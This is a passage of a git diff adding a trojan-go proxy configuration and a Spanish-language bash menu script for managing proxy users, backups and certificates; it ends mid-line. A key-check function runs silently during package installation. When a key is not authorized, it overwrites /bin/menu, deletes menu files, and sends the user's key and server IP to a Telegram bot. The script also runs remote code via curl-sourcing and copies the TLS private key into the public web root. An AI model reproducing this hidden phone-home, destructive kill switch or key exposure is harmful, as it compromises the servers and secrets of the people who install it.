[ + "http/1.1" + ], + "alpn_port_override": { + "h2": 81 + }, + "reuse_session": true, + "session_ticket": false, + "session_timeout": 600, + "plain_http_response": "", + "curves": "", + "dhparam": "" + }, + "tcp": { + "prefer_ipv4": false, + "no_delay": true, + "keep_alive": true, + "reuse_port": false, + "fast_open": true, + "fast_open_qlen": 20 + }, + "mysql": { + "enabled": false, + "server_addr": "127.0.0.1", + "server_port": 3306, + "database": "trojan", + "username": "trojan", + "password": "", + "key": "", + "cert": "", + "ca": "" + }, + "websocket": { + "enabled": true, + "path": "/", + "hostname": "0.0.0.0" + }, + "mux": { + "enabled": true + }, + "router": { + "enabled": true, + "block": [ + "geoip:private" + ], + "geoip": "/usr/share/trojan-go/geoip.dat", + "geosite": "/usr/share/trojan-go/geosite.dat" + } +} diff --git a/Recursos/trojango-sh/trojan-sh/mod-trojan.sh b/Recursos/trojango-sh/trojan-sh/mod-trojan.sh new file mode 100644 index 0000000..fd6595b --- /dev/null +++ b/Recursos/trojango-sh/trojan-sh/mod-trojan.sh @@ -0,0 +1,1235 @@ +#!/bin/sh +#Autor: Henry Chumo +#Alias : ChumoGH + +clear +config="/usr/local/etc/trojan/config.json" +configLOCK="/usr/local/etc/trojan/config.json.lock" +temp="/etc/trojan/temp.json" +trojdir="/etc/trojan" && [[ ! -d $trojdir ]] && mkdir $trojdir +user_conf="/etc/trojan/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/trojan/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" +[[ ! -e $trojdir/conf ]] && echo "autBackup 0" > $trojdir/conf +if [[ $(cat $trojdir/conf | grep "autBackup") = "" ]]; then + echo "autBackup 0" >> $trojdir/conf +fi +unset barra +barra="\033[0;34m•••••••••••••••••••••••••••••••••••••••••••••••••\033[0m" +[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg || source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/msg-bar/msg) +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + + +restroj(){ +msg -bar3 +[[ $(ps x | grep trojan | grep -v grep) ]] && { +kill $(ps x | grep trojan| grep -v grep | cut -d " " -f1) &> /dev/null +[[ $(ps x | grep trojan | grep -v grep) ]] && killall $(which trojan) &> /dev/null +} +[[ -e /root/server.log ]] && echo "@ChumoGH " > /root/server.log || touch /root/server.log +#[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +#echo -ne " \033[1;32m • RESTART FOR ARM X64 • " && (screen -dmS trojanserv $(which trojan) --config /usr/local/etc/trojan/config.json >> /root/server.log &) && echo "\033[1;35m OK " || echo -e "\033[1;32mΔ FAIL" +#} || echo -ne "\033[1;32m • REINICIANDO SERVICIO • " && (screen -dmS trojanserv $(which trojan) /usr/local/etc/trojan/config.json -l /root/server.log &) && echo "OK " || echo -e "\033[1;32mΔ FAIL" +systemctl restart trojan &>/dev/null +msg -bar3 +#chekKEY &> /dev/null 2>&1 +[[ "$(ps x | grep trojan| grep -v grep)" ]] && echo -e " • SERVICIO CORRIENDO EN EL PUERTO | ➣ $(cat $config | jq -r .local_port) " +} + +function chekKEY { +[[ -z ${IP} ]] && IP=$(cat < /bin/ejecutar/IPcgh) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Control/Control-Bot.txt") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Control/Control-Bot.txt +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @ChumoGH ' +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n ¡¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR! \n==================================================\n ¡¡ FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n¡¡ ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF + +rm -f /etc/folteto +rm -f /etc/adm-lite/menu* + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" INSECTO DETECTADO EN TROJAN-GO Plus\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" Key : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot ADMcgh de keyS ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @ChumoGH ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + + +restore(){ + clear + + unset num + unset opcion + unset _res + + if [[ -z $(ls $backdir) ]]; then + title " no se encontraron respaldos" + sleep 0.3 + return + fi + num=1 + title " Lista de Respaldos creados" + blanco " nom \033[0;31m| \033[1;37mfechas \033[0;31m| \033[1;37mhora" + msg -bar3 + for i in $(ls $backdir); do + col "$num)" "$i" + _res[$num]=$i + let num++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco " cual desea restaurar?" 0 + read opcion + + [[ $opcion = 0 ]] && return + [[ -z $opcion ]] && blanco "\n deves seleccionar una opcion!" && sleep 2 && return + [[ ! $opcion =~ $numero ]] && blanco "\n solo deves ingresar numeros!" && sleep 2 && return + [[ $opcion -gt ${#_res[@]} ]] && blanco "\n solo numeros entre 0 y ${#_res[@]}" && sleep 2 && return + + mkdir $backdir/tmp + tar xpf $backdir/${_res[$opcion]} -C $backdir/tmp/ + + clear + title " Archivos que se restauran" + + if rm -rf $config && cp $tmpdir/config.json $temp; then + sleep 1 + cat $temp > $config + chmod 777 $config + rm $temp + blanco " /usr/local/etc/trojan/config.json..." && verde "[ok]" + else + blanco " /usr/local/etc/trojan/config.json..." && rojo "[fail]" + fi + + if rm -rf $user_conf && cp $tmpdir/user $user_conf; then + blanco " /etc/troja/user..." && verde "[ok]" + else + blanco " /etc/trojan/user..." && rojo "[fail]" + fi + #[[ -e $tmpdir/fullchain.cer ]] && mv $tmpdir/fullchain.cer $tmpdir/fullchain.crt + if cp $tmpdir/*.cer /etc/trojan/fullchain.cer && cp $tmpdir/*.key /etc/trojan/private.key; then + blanco " /etc/trojan/fullchain.cer..." && verde "[ok]" + blanco " /etc/trojan/private.key..." && verde "[ok]" + else + blanco " /etc/trojan/fullchain.cer..." && rojo "[fail]" + blanco " /etc/trojan/private.key..." && rojo "[fail]" + echo $barra + echo -e "VALIDA TU CERTIFICADO SSL " + fi + rm -rf $tmpdir + msg -bar3 + continuar + read foo +} + +backups(){ + while : + do + unset opcion + unset PID + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + PID="\033[0;31m[offline]" + else + PID="\033[1;92m[online]" + fi + + clear + title " Config de Respaldos" + col "1)" "Respaldar Ahora" + col "2)" "\033[1;92mRestaurar Respaldo" + col "3)" "\033[0;31mEliminiar Respaldos" + col "4)" "\033[1;34mRespaldo en linea $PID" + col "5)" "\033[1;33mRespaldos automatico $(on_off_res)" + msg -bar3 + + col "6)" "\033[1;33m RESTAURAR Online PORT :81 " + col "7)" "\033[1;33m RESPALDO LOCAL " + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) backup + clear + title " Nuevo Respaldo Creado..." + sleep 0.5;; + 2) restore;; + 3) rm -rf $backdir/*.tar + clear + title " Almacer de Respaldo limpia..." + sleep 0.5;; + 4) server;; + + + 5) if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + sed -i 's/autBackup 0/autBackup 1/' $v2rdir/conf + else + sed -i 's/autBackup 1/autBackup 0/' $v2rdir/conf + fi;; + 6) + clear + echo -e "\033[0;33m + ESTA FUNCION EXPERIMENTAL +Una vez que se descarge tu Fichero, Escoje el BackOnline + + + OJO + + + Luego de Restaurarlo, Vuelve Activar el TLS + Para Validar la Configuracion de tu certificao" +msg -bar3 +echo -e "INGRESE LINK Online en GitHub, o VPS \n" +read -p "Pega tu Link : " url1 +wget -q -O $backdir/BakcOnline.tar $url1 && echo -e "\033[1;31m- \033[1;32mFile Exito!" && restore || echo -e "\033[1;31m- \033[1;31mFile Fallo" && sleep 2 + ;; + 7) + bakc;; + 0) break;; + *) blanco "opcion incorrecta..." && sleep 2;; + esac + done +} + + + +backup() { + unset fecha + unset hora + unset tmp + unset back + unset cer + unset key + #fecha=`date +%d-%m-%y-%R` + fecha=`date +%d-%m-%y` + hora=`date +%R` + tmp="$backdir/tmp" && [[ ! -d ${tmp} ]] && mkdir ${tmp} + back="$backdir/troj___${fecha}___${hora}.tar" + [[ -e /etc/trojan/fullchain.cer ]] && cer="/etc/trojan/fullchain.cer" + [[ -e /etc/trojan/private.key ]] && key="/etc/trojan/private.key" + + cp $user_conf $tmp + cp $config $tmp + [[ ! $cer = null ]] && [[ -e $cer ]] && cp $cer $tmp + [[ ! $key = null ]] && [[ -e $cer ]] && cp $key $tmp + + cd $tmp + tar -cpf $back * + cp $back /var/www/html/trojanBack.tar && echo -e " + Descargarlo desde cualquier sitio con acceso WEB + LINK : http://$(wget -qO- ifconfig.me):81/trojanBack.tar \033[0m +-------------------------------------------------------" +read -p "ENTER PARA CONTINUAR" + rm -rf $tmp + } + +trojan() +{ +wget -q https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango.sh; chmod +x trojango.sh; ./trojango.sh +rm -f trojango.sh +} + + +install_ini () { +add-apt-repository universe +apt update -y; apt upgrade -y +clear +echo -e "$BARRA" +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +echo -e "$BARRA" +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +chekKEY &> /dev/null 2>&1 +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " +echo -e "$BARRA" +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +echo -e "$BARRA" +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + + +changeCERT () { +clear&&clear +unset opcion + dataCERT=$(cat $config | jq -r .ssl.cert) + dataKEY=$(cat $config | jq -r .ssl.key) + msg -bar3 && echo "" + echo -e " INGRESO DE RUTA DE CERTIFICADO SSL VALIDO ACTUAL" && echo "" + echo -e " DATA CRT : ${dataCERT}" && echo "" && echo -e " DATA CRT : ${dataKEY}" && echo "" && msg -bar3 && echo -e "" + while : + do + echo -e " DESEAS CAMBIAR RUTA DE TU CERTIFICADO SSL ? " + read -p " [SI / NO ] :" opcion + case $opcion in + 0)break ;; + [Yy]|[Ss]) + echo -e " A CONTINUACION INGRESE SUS NUEVAS RUTAS DE CERTIFICADO" + echo -e " DEFAULT ( /data/cert.crt && /data/cert.key ) ." && echo "" + read -p "$(echo -e " DATA CRT :")" -e -i "/data/cert.crt" newdataCERT + tput cuu1 && tput dl1 + read -p "$(echo -e " DATA KEY :")" -e -i "/data/cert.key" newdataKEY + sed -i "s%${dataCERT}%${newdataCERT}%g" $config + sed -i "s%${dataKEY}%${newdataKEY}%g" $config + break + ;; + [Nn]) cancelar && sleep 0.5 && break;; + *) echo -e "\n \033[1;49;37mSelecione (S) para si o (N) para no!\033[0m" && sleep 0.5 && continue + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + ;; + esac + done + + } + + +changeSNI () { +clear&&clear +unset opcion + dataCERT=$(cat $config | jq -r .ssl.sni) + msg -bar3 && echo "" + echo -e " INGRESO INGRESA SNI VALIDO" && echo "" + echo -e " SNI : ${dataCERT}" && echo "" && msg -bar3 && echo -e "" + while : + do + echo -e " DESEAS CAMBIAR SNI ? " + read -p " [SI / NO ] :" opcion + case $opcion in + 0)break ;; + [Yy]|[Ss]) + echo -e " A CONTINUACION INGRESE SU NUEVO SNI" + read -p "$(echo -e " SNI Defauld : ")" -e -i "ssl.whatsapp.net" newdataKEY + if sed -i "s%${dataCERT}%${newdataCERT}%g" $config ; then + echo -e " EXITO AL CAMBIAR TU SNI" + else + newdataKEY='"sni": "${newdataKEY}",' + sed -i "s%${dataCERT}%${newdataCERT}%g" $config + echo -e " ERROR AL MODIFICAR SNI" + fi + break + ;; + [Nn]) cancelar && sleep 0.5 && break;; + *) echo -e "\n \033[1;49;37mSelecione (S) para si o (N) para no!\033[0m" && sleep 0.5 && continue + ;; + esac + done + + } + + + + +enon(){ +echo "source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/mod-trojan.sh)" > /bin/troj.sh +chmod +x /bin/troj.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * troj.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +enoff(){ +rm -f /bin/v2r.sh + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de troj.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} + +enttrada () { + + while : + do + clear + msg -bar3 + blanco " Ajustes e Entrasda Rapida de Menu TROJAN" + msg -bar3 + col "1)" "Habilitar troj.sh, Como entrada Rapida" + col "2)" "Eliminar troj.sh, Como entrada Rapida" + msg -bar3 + col "0)" "Volver" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)enon;; + 2)enoff;; + *) blanco " solo numeros de 0 a 2" && sleep 0.3;; + esac + done + +} + + + +on_off_res(){ + if [[ $(cat $trojdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + echo -e "\033[0;31m[off]" + else + echo -e "\033[1;92m[on]" + fi + } + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m ➣ \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +_check=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep trojan | awk '{print substr($9,3); }' > /tmp/trojan.txt && echo | cat /tmp/trojan.txt | tr '\n' ' ' > /etc/adm-lite/trojanports.txt && cat /etc/adm-lite/trojanports.txt` > /dev/null 2>&1 +#trojanports=$(echo $trojanports | awk {'print $1'}) +trojanports=$(cat $config | jq -r .local_port) +#_tconex=$(netstat -nap | grep "$trojanports" | grep trojan | grep ESTABLISHED| grep tcp6 | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) +_tconex=$(netstat -nap | grep "$trojanports" | grep trojan | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + #echo -e "\033[7;49;35m =====>>►► 🐲 Menu TROJAN ChumoGH💥VPS 🐲 ◄◄<<===== \033[0m" + msg -bar3 + [[ $(uname -m 2> /dev/null) != x86_64 ]] && echo -e " CPU : ARM64 - BINARIO : trojan-go" + [[ ${v1} = ${v2} ]] && echo -e " \e[97m\033[1;44mPROYECT TROJAN BY @ChumoGH [$v1] \033[0m" || echo -e " \e[97m\033[1;44mProyecto Trojan by @ChumoGH [$v1] >> \033[1;92m[$v2] \033[0m" + echo -e " ${cor[2]} ${pPIniT} \033[1;37mIP: \033[1;31m$(wget -qO- ifconfig.me) ${cor[2]}${pPIniT} \033[1;37m" + [[ ! -z ${_check} ]] && echo -e " \e[97m\033[1;44mPUERTO ACTIVO :\033[0m \033[3;32m$trojanports\033[0m \e[97m\033[1;44m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41m SERVICIO TROJAN NO INICIADO \033[3;32m" +} + +title(){ + msg -bar3 + + echo -e " >>>>>>> Fecha Actual $(date '+%d-%m-%Y') <<<<<<<<<<<" + blanco "$1" + msg -bar3 +} + +userDat(){ + #echo -e " >>>>>>> Fecha Actual $(date '+%d-%m-%Y') <<<<<<<<<<<" + blanco " N° Usuarios fech exp dias" + msg -bar3 +} + +log_traff () { +[[ $log0 -le 1 ]] && restroj && let log0++ && clear +msg -bar3 +echo -e "" +echo -e " ESPERANDO A LA VERIFICACION DE IPS Y USUARIOS " +echo -e " ESPERE UN MOMENTO PORFAVOR $log0" +echo -e "" +msg -bar3 +fun_bar +msg -bar3 +sleep 5s +clear&&clear +title2 +msg -bar3 +IP_tconex=$(netstat -nap | grep "$trojanports" | grep trojan | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq) +#IP_tconex=$(netstat -nap | grep "$trojanports"| grep trojan | grep ESTABLISHED | grep tcp6 | awk {'print $5'}| awk -F ":" '{print $1}' | sort | uniq) +nick="$(cat $config | grep ',"')" +#users="$(echo $nick|sed -e 's/[^a-z0-9 -]//ig')" +users="$(cat $config | jq -r .password[])" +n=1 +[[ -z $IP_tconex ]] && echo -e " NO HAY USUARIOS CONECTADOS!" && return +for i in $IP_tconex +do + USERauth=$(cat $HOME/server.log | grep $i | cut -d: -f4 | grep authenticated |awk '{print $4}'| sort | uniq) + #PORTauth=$(cat $HOME/server.log | grep $i | cut -d: -f4 | grep authenticated |awk '{print $1}') + #PORTdisco=$(cat $HOME/server.log | grep $i | cut -d: -f4 | grep authenticated |awk '{print $1}') +# echo -e " $n) $USERauth - $i " + Users+="$USERauth\n" + #let n++ +done +#echo -e "$Users" +echo -e " N) USER | CONEXIONES "|column -t -s '|' +for U in $users + do + CConT=$(echo -e "$Users" | grep $U |wc -l) + [[ $CConT = 0 ]] && continue + Usr="$(cat ${user_conf}|grep -w "${U}"|cut -d'|' -f1)" + UConc+=" $n) $Usr |$CConT\n" + let n++ +done +echo -e "$UConc"|column -t -s '|' +msg -bar3 +continuar +read foo +#tail -f /usr/local/etc/trojan/config.json + + +} + +fun_bar () { +#==comando a ejecutar== +comando="$1" +#==interfas== +in=' [' +en=' ] ' +full_in="➛" +full_en='100%' +bar=("--------------------" +"=-------------------" +"]=------------------" +"[-]=-----------------" +"=[-]=----------------" +"-=[-]=---------------" +"--=[-]=--------------" +"---=[-]=-------------" +"----=[-]=------------" +"-----=[-]=-----------" +"------=[-]=----------" +"-------=[-]=---------" +"--------=[-]=--------" +"---------=[-]=-------" +"----------=[-]=------" +"-----------=[-]=-----" +"------------=[-]=----" +"-------------=[-]=---" +"--------------=[-]=--" +"---------------=[-]=-" +"----------------=[-]=" +"-----------------=[-]" +"------------------=[" +"-------------------=" +"------------------=[" +"-----------------=[-]" +"----------------=[-]=" +"---------------=[-]=-" +"--------------=[-]=--" +"-------------=[-]=---" +"------------=[-]=----" +"-----------=[-]=-----" +"----------=[-]=------" +"---------=[-]=-------" +"--------=[-]=--------" +"-------=[-]=---------" +"------=[-]=----------" +"-----=[-]=-----------" +"----=[-]=------------" +"---=[-]=-------------" +"--=[-]=--------------" +"-=[-]=---------------" +"=[-]=----------------" +"[-]=-----------------" +"]=------------------" +"=-------------------" +"--------------------"); +#==color== +in="\033[1;33m$in\033[0m" +en="\033[1;33m$en\033[0m" +full_in="\033[1;31m$full_in" +full_en="\033[1;32m$full_en\033[0m" + + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do + for i in "${bar[@]}"; do + echo -ne "\r $in" + echo -ne "ESPERE $en $in \033[1;31m$i" + echo -ne " $en" + sleep 0.1 + done +done +echo -e " $full_in $full_en" +sleep 0.1s +} + + + +add_user(){ +autoDel + unset seg + seg=$(date +%s) + while : + do + clear + nick="$(cat $config | grep ',"')" + users="$(cat $config | jq -r .password[])" + title " CREAR USUARIO Trojan" + userDat + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = chumoghscript ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "${Usr}" "$DateExp" "$exp" + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "ESCRIBE TU USUARIO :" 0 + read usser + usser=$(echo ${usser} |sed -e's/[^0-9a-z]//ig') + [[ -z $usser ]] && vacio && sleep 0.3 && continue + [[ $usser = 0 ]] && break + [[ -z $(echo "$users" | grep -w $usser) ]] && { + new_id=$(uuidgen) + msg -bar3 + blanco "DURACION EN DIAS" 0 + read dias + dias=$(echo ${dias} |sed -e's/[^0-9]//ig') + espacios=$(echo "$usser" | tr -d '[[:space:]]') + usser=$espacios + mv $config $temp + movetm=$(echo -e "$new_id" | sed 's/^/,"/;s/$/"/') + sed "10i\ ${movetm}" $temp > $config + #echo -e "$opcion" | sed 's/^/,"/;s/$/"/' + sed -i "/${usser}/d" $user_conf + echo "$usser | ${new_id} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario $usser creado con 